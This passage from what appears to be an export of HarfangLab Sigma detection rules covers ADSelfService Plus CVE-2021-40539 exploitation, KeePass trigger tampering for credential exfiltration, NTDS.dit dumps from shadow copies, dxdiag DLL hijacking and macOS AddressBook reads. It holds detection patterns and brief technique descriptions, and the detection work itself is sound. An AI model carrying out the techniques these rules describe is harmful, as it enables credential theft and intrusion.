+  "content": "title: ADSelfService Plus CVE-2021-40539 Vulnerability Exploited\nid: 89cb912c-bc9a-49a3-ba8e-0c446e538259\ndescription: |\n    Detects a successful attempt at exploiting CVE-2021-40539 on ADSelfService Plus.\n    ADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution.\n    It is recommended to analyze processes executed by Java to determine their legitimacy as well as to look for other suspicious actions on the host.\nreferences:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40539\n    - https://www.synacktiv.com/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html\n    - https://www.cisa.gov/uscert/ncas/alerts/aa21-259a\ndate: 2022/02/23\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1203\n    - attack.privilege_escalation\n    - attack.t1574\n    - cve.2021-40539\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.ADSelfService\n    - classification.Windows.Exploit.CVE-2021-40539\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\java.exe'\n        ParentCommandLine|contains: 'ManageEngineADSFramework'\n        Image|endswith: '\\keytool.exe'\n        # Hardcoded in ADSelfService Plus vulnerable codepath.\n        CommandLine|contains: 'keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass '\n\n    selection_variant_keysize:\n        CommandLine|contains:\n          - '-providerpath'\n          - '-providerclass'\n\n    condition: selection and 1 of selection_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "89cb912c-bc9a-49a3-ba8e-0c446e538259",
+  "rule_name": "ADSelfService Plus CVE-2021-40539 Vulnerability Exploited",
+  "rule_description": "Detects a successful attempt at exploiting CVE-2021-40539 on ADSelfService Plus.\nADSelfService Plus version 6113 and prior is vulnerable to REST API authentication bypass with resultant remote code execution.\nIt is recommended to analyze processes executed by Java to determine their legitimacy as well as to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2022-02-23",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203",
+    "attack.t1574"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "89d049a9-66b6-4aeb-a134-d85e0e408ace",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621070Z",
+  "creation_date": "2026-03-23T11:45:34.621072Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621077Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/alt3kx/CVE-2023-24055_PoC",
+    "https://keepass.info/help/kb/trigger_examples.html"
+  ],
+  "name": "t1555_005_suspicious_keepass_configuration_modification.yml",
+  "content": "title: Suspicious KeePass Configuration File Modification\nid: 89d049a9-66b6-4aeb-a134-d85e0e408ace\ndescription: |\n    Detects a suspicious modification of the KeePass configuration file.\n    KeePass allows to configure triggers to automatically launch actions based on different events.\n    Attackers can modify the KeePass configuration file KeePass.config.xml to add malicious triggers, for example, to exfiltrate credentials to an attacker-controlled server.\n    The CVE 2023-24055 is known to exploit this feature.\n    It is recommended to investigate the other actions taken by the binary which made the modification, as well as potential suspicious authentications following this action.\nreferences:\n    - https://github.com/alt3kx/CVE-2023-24055_PoC\n    - https://keepass.info/help/kb/trigger_examples.html\ndate: 2023/03/08\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546\n    - attack.credential_access\n    - attack.t1555.005\n    - attack.collection\n    - attack.t1119\n    - attack.exfiltration\n    - attack.t1020.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Exploit.CVE-2023-24055\n    - classification.Windows.Behavior.ConfigChange\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_write\ndetection:\n    selection:\n        Path|endswith: '\\KeePass.config.xml'\n        ProcessParentImage|contains: '?'\n\n    filter_keepass:\n        - ProcessSigned: 'true'\n          ProcessSignature: 'Open Source Developer, Dominik Reichl'\n        - ProcessImage:\n            - '?:\\Program Files\\KeePass Password Safe 2\\KeePass.exe'\n            - '?:\\Program Files (x86)\\KeePass Password Safe 2\\KeePass.exe'\n\n    filter_keepass_msix_unsigned:\n        ProcessCompany: 'Dominik Reichl'\n        ProcessProduct: 'KeePass Password Safe'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_sysytem:\n        ProcessName: 'system'\n        ProcessId: '4'\n\n    # https://pleasantpasswords.com/\n    exclusion_pleasant:\n        ProcessOriginalFileName: 'KeePass.exe'\n        ProcessCompany: 'Pleasant Solutions'\n\n    exclusion_wapt:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\wapt\\wapt-get.exe'\n            - '?:\\Program Files (x86)\\wapt\\waptpythonw.exe'\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe'\n            - '?:\\Program Files (x86)\\Windows Defender Advanced Threat Protection\\MsSense.exe'\n\n    exclusion_msiexec:\n        ProcessImage: '?:\\Windows\\System32\\msiexec.exe'\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\msiexec.exe /V'\n\n    exclusion_install:\n        ProcessImage: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        ProcessCommandLine|contains|all:\n            - ' -ExecutionPolicy ByPass'\n            - ' -File '\n            - 'Install'\n        ProcessParentImage: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n\n    exclusion_deploytoolkit:\n        ProcessParentImage:\n            - '?:\\Windows\\ccmcache\\\\*\\Deploy-Application.exe'\n            - '?:\\Windows\\IMECache\\\\*\\Deploy-Application.exe'\n\n    exclusion_explorer:\n        - ProcessImage: '?:\\Windows\\explorer.exe'\n          ProcessParentImage:\n            - '?:\\Windows\\System32\\userinit.exe'\n            - '?:\\Windows\\System32\\winlogon.exe'\n        - ProcessImage: '?:\\Windows\\explorer.exe'\n          ProcessCommandLine|contains: '/factory,{'\n          ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_beyondcompare:\n        ProcessImage: '?:\\Program Files\\Beyond Compare 4\\BCompare.exe'\n        ProcessSignature: 'Scooter Software Inc'\n\n    exclusion_symantec:\n        ProcessOriginalFileName: 'ccSvcHst.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Symantec Corporation'\n\n    exclusion_backup:\n        ProcessImage:\n            - '?:\\Windows\\System32\\VSSVC.exe'\n            - '?:\\Windows\\System32\\Robocopy.exe'\n            - '?:\\Windows\\System32\\xcopy.exe'\n\n    exclusion_intune:\n        ProcessParentImage: '?:\\Program Files (x86)\\Microsoft Intune Management Extension\\Microsoft.Management.Services.IntuneWindowsAgent.exe'\n\n    exclusion_transwiz:\n        ProcessImage:\n            - '?:\\ProgramData\\ForensiT\\Transwiz\\Deployment Files\\Transwiz.exe'\n            - '?:\\Transwiz\\Transwiz.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\n#level: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "89d049a9-66b6-4aeb-a134-d85e0e408ace",
+  "rule_name": "Suspicious KeePass Configuration File Modification",
+  "rule_description": "Detects a suspicious modification of the KeePass configuration file.\nKeePass allows to configure triggers to automatically launch actions based on different events.\nAttackers can modify the KeePass configuration file KeePass.config.xml to add malicious triggers, for example, to exfiltrate credentials to an attacker-controlled server.\nThe CVE 2023-24055 is known to exploit this feature.\nIt is recommended to investigate the other actions taken by the binary which made the modification, as well as potential suspicious authentications following this action.\n",
+  "rule_creation_date": "2023-03-08",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.exfiltration",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1020.001",
+    "attack.t1119",
+    "attack.t1546",
+    "attack.t1555.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8a001854-f3b2-4a21-81af-df74ddf642d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624436Z",
+  "creation_date": "2026-03-23T11:45:34.624438Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624442Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/003/"
+  ],
+  "name": "t1003_003_ntds_file_access_shadowcopy.yml",
+  "content": "title: NTDS Database Dumped from Volume Shadow Copy\nid: 8a001854-f3b2-4a21-81af-df74ddf642d2\ndescription: |\n    Detects accesses to the NTDS.dit file inside a Volume Shadow Copy.\n    Attackers can use Shadow Copy Volumes to access files that would normally be protected from access by the system.\n    This can be indicative of an attempt to dump the Active Directory Database for credential access.\n    It is recommended to investigate the process trying to access the NTDS database for malicious contents.\nreferences:\n    - https://attack.mitre.org/techniques/T1003/003/\ndate: 2023/06/26\nmodified: 2025/12/04\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.003\n    - attack.defense_evasion\n    - attack.t1006\n    - classification.Windows.Source.ShadowCopy\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: filesystem_shadowcopy\n    product: windows\ndetection:\n    selection:\n        Path|endswith: '\\Windows\\NTDS\\ntds.dit'\n\n    selection_remote_system:\n        ProcessName: 'system'\n        ProcessId: '4'\n        SessionLogonType: 3\n\n    exclusion_known_fp_win7:\n        # seems to happen on win7 and 2008\n        CreateOptionsStr: 'FILE_NON_DIRECTORY_FILE|FILE_COMPLETE_IF_OPLOCKED' # 0x0140 / FILE_NON_DIRECTORY_FILE|FILE_COMPLETE_IF_OPLOCKED\n        CreateDispositionStr: 'FILE_OPEN' # 0x01 / FILE_OPEN\n\n    exclusion_restore_point_creation:\n        ProcessCommandLine:\n            - '?:\\windows\\system32\\srtasks.exe ExecuteScheduledSPPCreation'\n            - '?:\\windows\\system32\\rundll32.exe /d srrstr.dll,ExecuteScheduledSPPCreation'\n\n    exclusion_dell:\n        ProcessImage:\n            - '?:\\Program Files\\Dell\\SARemediation\\agent\\DellSupportAssistRemedationService.exe'\n            - '?:\\Program Files (x86)\\Dell\\SARemediation\\agent\\DellSupportAssistRemedationService.exe'\n            - '?:\\Program Files (x86)\\Dell Backup and Recovery\\SftService.exe'\n\n    exclusion_eset:\n        ProcessImage: '*\\ekrn.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'ESET, spol. s r.o.'\n\n    exclusion_mcafee:\n        ProcessImage:\n            - '?:\\Program Files\\Common Files\\McAfee\\SystemCore\\mcshield.exe'\n            - '?:\\Program Files (x86)\\Common Files\\McAfee\\SystemCore\\mcshield.exe'\n            - '?:\\Program Files\\McAfee\\Agent\\masvc.exe'\n            - '?:\\Program Files (x86)\\McAfee\\Agent\\masvc.exe'\n\n    exclusion_trend:\n        ProcessImage:\n            - '?:\\Program Files\\Trend Micro\\AMSP\\coreServiceShell.exe'\n            - '?:\\Program Files\\Trend Micro\\Cloud Endpoint\\CloudEndpointService.exe'\n\n    exclusion_wbengine:\n        ProcessImage: '?:\\Windows\\System32\\wbengine.exe'\n\n    exclusion_lsass:\n        ProcessImage: '?:\\Windows\\System32\\lsass.exe'\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe'\n            - '?:\\Program Files\\Windows Defender\\MsMpEng.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender*\\platform\\\\*\\MsMpEng.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender*\\platform\\\\*\\MsSense.exe'\n\n    exclusion_sophos:\n        ProcessImage:\n            - '?:\\Program Files\\Sophos\\Endpoint Defense\\SSPService.exe'\n            - '?:\\ProgramData\\Sophos\\AutoUpdate\\Cache\\sophos_autoupdate?.dir\\ALUpdate.exe'\n            - '?:\\Program Files (x86)\\Sophos\\Sophos Anti-Virus\\SavService.exe'\n\n    exclusion_vssvc:\n        ProcessImage: '?:\\Windows\\system32\\vssvc.exe'\n\n    exclusion_timenavigator:\n        ProcessImage:\n            - '?:\\Program Files\\Atempo\\TimeNavigator\\tina\\Bin\\tina_bck.exe'\n            - '?:\\Program Files (x86)\\Atempo\\TimeNavigator\\tina\\Bin\\tina_bck.exe'\n            - '?:\\Program Files\\Atempo\\tina\\Bin\\tina_bck.exe'\n            - '?:\\Program Files (x86)\\Atempo\\tina\\Bin\\tina_bck.exe'\n            - '?:\\Program Files\\Atempo\\TimeNavigator\\windows\\Bin\\tina_bck.exe'\n            - '?:\\Program Files (x86)\\Atempo\\TimeNavigator\\windows\\Bin\\tina_bck.exe'\n\n    #exclusion_clbackup:\n    #    ProcessImage:\n    #        - '?:\\Program Files\\Commvault\\ContentStore\\Base\\CLBackup.exe'\n    #        - '?:\\Program Files (x86)\\Commvault\\ContentStore\\Base\\CLBackup.exe'\n    #        - '?:\\Program Files\\Commvault\\ContentStore2\\Base\\CLBackup.exe'\n    #        - '?:\\Program Files (x86)\\Commvault\\ContentStore2\\Base\\CLBackup.exe'\n    #        - '?:\\Program Files\\CommVault\\Simpana\\Base\\CLBackup.exe'\n    #        - '?:\\Program Files (x86)\\CommVault\\Simpana\\Base\\CLBackup.exe'\n    exclusion_clbackup:\n        ProcessOriginalFileName: 'clBackup.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Commvault Systems, Inc.'\n\n    exclusion_lenovo:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\Lenovo\\Rescue and Recovery\\br_funcs.exe'\n            - '?:\\Program Files\\Lenovo\\Rescue and Recovery\\br_funcs.exe'\n\n    # another specific rule for this\n    exclusion_ntdsutil:\n        ProcessImage: '?:\\Windows\\System32\\ntdsutil.exe'\n        ProcessCommandLine|contains|all:\n            - 'activate'\n            - 'instance'\n\n    exclusion_backup_exec:\n        ProcessImage:\n            - '?:\\Program Files\\SYMANTEC\\BACKUP EXEC\\RAWS\\beremote.exe'\n            - '?:\\Program Files\\Veritas\\Backup Exec\\RAWS\\beremote.exe'\n            - '?:\\Program Files\\Veritas\\Backup Exec\\beremote.exe'\n            - '?:\\Program Files\\Veritas\\NetBackup\\bin\\bpbkar32.exe'\n\n    exclusion_avamar:\n        ProcessImage:\n            - '?:\\Program Files\\avs\\bin\\avtar.exe'\n            - '?:\\Program Files (x86)\\avs\\bin\\avtar.exe'\n\n    exclusion_netbackup:\n        ProcessImage: '?:\\Program Files\\Veritas\\NetBackup\\bin\\bpbkar32.exe'\n\n    exclusion_sentinelone:\n        ProcessImage: '?:\\Program Files\\SentinelOne\\Sentinel Agent *\\SentinelAgent.exe'\n\n    exclusion_burp:\n        ProcessImage: '?:\\Program Files\\Burp\\bin\\burp.exe'\n\n    # C:\\Windows\\system32\\ESENTUTL.EXE /k /tC:\\Program Files\\Veritas\\Backup Exec\\RAWS\\logs \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy79\\Windows\\NTDS\\ntds.dit\n    exclusion_esentutl_various:\n        ProcessImage: '?:\\Windows\\System32\\esentutl.exe'\n        ProcessParentImage:\n            - '?:\\Program Files\\SYMANTEC\\BACKUP EXEC\\RAWS\\beremote.exe'\n            - '?:\\Program Files\\Veritas\\Backup Exec\\RAWS\\beremote.exe'\n            - '?:\\Program Files\\Veritas\\Backup Exec\\beremote.exe'\n            - '?:\\Program Files\\Veritas\\NetBackup\\bin\\bpbkar32.exe'\n\n    exclusion_trusted_installer:\n        ProcessImage: '?:\\Windows\\servicing\\TrustedInstaller.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_sdrsvc:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k SDRSVC'\n\n    exclusion_rstrui:\n        ProcessImage: '?:\\Windows\\system32\\rstrui.exe'\n\n    exclusion_recoverydrive:\n        # Recovery Media Creator\n        ProcessImage: '?:\\Windows\\System32\\RecoveryDrive.exe'\n\n    exclusion_search_protocolhost:\n        ProcessImage: '?:\\Windows\\System32\\SearchProtocolHost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\SearchIndexer.exe'\n\n    exclusion_datasafe:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\Data Safe Restore\\plugins\\vss\\vshadow-64.exe'\n            - '?:\\Program Files (x86)\\Data Safe Restore\\DSR Client.exe'\n\n    exclusion_igfxcui:\n        ProcessGrandparentImage: '?:\\Windows\\system32\\igfxCUIService.exe'\n        ProcessImage: '?:\\Windows\\System32\\igfxEM.exe'\n\n    exclusion_barracuda:\n        # C:\\Program Files\\Barracuda\\Barracuda Backup Agent\\win\\x86_64\\BackupService.exe\n        # C:\\Program Files\\Barracuda\\Yosemite Server Backup\\win\\x86_64\\ytwinsdr.exe\n        ProcessImage:\n            - '?:\\Program Files\\Barracuda\\Barracuda Backup Agent\\win\\\\*\\BackupService.exe'\n            - '?:\\Program Files\\Barracuda\\Yosemite Server Backup\\win\\\\*\\ytwinsdr.exe'\n\n    exclusion_hp:\n        ProcessImage: '?:\\Program Files\\HP\\Data Protector Express\\win\\x86_64\\dpwinsdr.exe'\n\n    exclusion_runtime_software:\n        ProcessImage: '?:\\Program Files (x86)\\Runtime Software\\DriveImage XML\\dixml.exe'\n\n    exclusion_bacula:\n        ProcessImage: '?:\\Program Files\\Bacula\\bacula-fd.exe'\n\n    exclusion_symantec:\n        - ProcessImage: '?:\\Program Files\\Symantec\\Backup Exec\\beremote.exe'\n        - ProcessParentImage: '?:\\Program Files\\Symantec\\Backup Exec\\beremote.exe'\n\n    exclusion_cyberprotect:\n        ProcessImage: '?:\\Program Files\\BackupClient\\CyberProtect\\cyber-protect-service.exe'\n\n    exclusion_atempo:\n        ProcessImage: '?:\\Program Files\\Atempo\\Atempo Lina\\Agent\\bin\\HNAgent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'ATEMPO SAS'\n\n    exclusion_duplicati:\n        ProcessImage: '?:\\Program Files\\Duplicati 2\\Duplicati.Server.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Kenneth Skovhede'\n\n    exclusion_arcserve:\n        ProcessImage: '?:\\Program Files\\CA\\SharedComponents\\ARCserve Backup\\UniAgent\\caagstart.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Arcserve (USA) LLC'\n            - 'CA, Inc.'\n\n    exclusion_omniback:\n        ProcessImage: '?:\\Program Files\\OmniBack\\bin\\vbda.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Micro Focus Group Limited'\n\n    exclusion_semperis_recovery_agent:\n        ProcessImage: '?:\\Program Files\\Semperis\\ADFR\\Semperis.ForestRecoveryAgentSvcHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'SEMPERIS INC.'\n\n    exclusion_oxibox:\n        ProcessImage: '?:\\Program Files\\Oxibox\\oxibackupd.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Oxibox'\n\n    exclusion_ibm:\n        ProcessImage: '?:\\Program Files\\Tivoli\\TSM\\baclient\\dsmcsvc.exe'\n        ProcessSigned: 'true'\n\n    exclusion_emc:\n        ProcessImage: '?:\\Program Files\\EMC NetWorker\\nsr\\bin\\save.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Dell Technologies Inc.'\n\n    exclusion_nable:\n        ProcessImage: '?:\\Program Files\\Backup Manager\\BackupFP.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'N-ABLE TECHNOLOGIES LTD'\n\n    condition: selection and ((not 1 of exclusion_*) or selection_remote_system)\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8a001854-f3b2-4a21-81af-df74ddf642d2",
+  "rule_name": "NTDS Database Dumped from Volume Shadow Copy",
+  "rule_description": "Detects accesses to the NTDS.dit file inside a Volume Shadow Copy.\nAttackers can use Shadow Copy Volumes to access files that would normally be protected from access by the system.\nThis can be indicative of an attempt to dump the Active Directory Database for credential access.\nIt is recommended to investigate the process trying to access the NTDS database for malicious contents.\n",
+  "rule_creation_date": "2023-06-26",
+  "rule_modified_date": "2025-12-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.003",
+    "attack.t1006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8a21b7f5-7bb1-4166-a5ae-c791651cf72b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093417Z",
+  "creation_date": "2026-03-23T11:45:34.093419Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093423Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_phantom_dll_hijacking_dxdiag.yml",
+  "content": "title: Phantom DLL Hijacking via dxdiag.exe\nid: 8a21b7f5-7bb1-4166-a5ae-c791651cf72b\ndescription: |\n    Detects a potential Windows DLL search order hijacking via dxdiag.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/10/06\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dxdiag.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded: '?:\\Windows\\System32\\DXGIDebug.dll'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8a21b7f5-7bb1-4166-a5ae-c791651cf72b",
+  "rule_name": "Phantom DLL Hijacking via dxdiag.exe",
+  "rule_description": "Detects a potential Windows DLL search order hijacking via dxdiag.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-10-06",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8a269d59-6392-43f4-bd66-134da5a52148",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093390Z",
+  "creation_date": "2026-03-23T11:45:34.093392Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093397Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1005/"
+  ],
+  "name": "t1005_read_addressbook.yml",
+  "content": "title: Suspicious Read Access to AddressBook Files\nid: 8a269d59-6392-43f4-bd66-134da5a52148\ndescription: |\n    Detects a process reading sensitive files related to the AddressBook application.\n    Adversaries may collect contacts on local systems to gather Personally Identifiable Information (PII).\n    It is recommended to check whether the process that accessed the file had legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1005/\ndate: 2024/07/03\nmodified: 2026/02/25\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1005\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.Collection\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          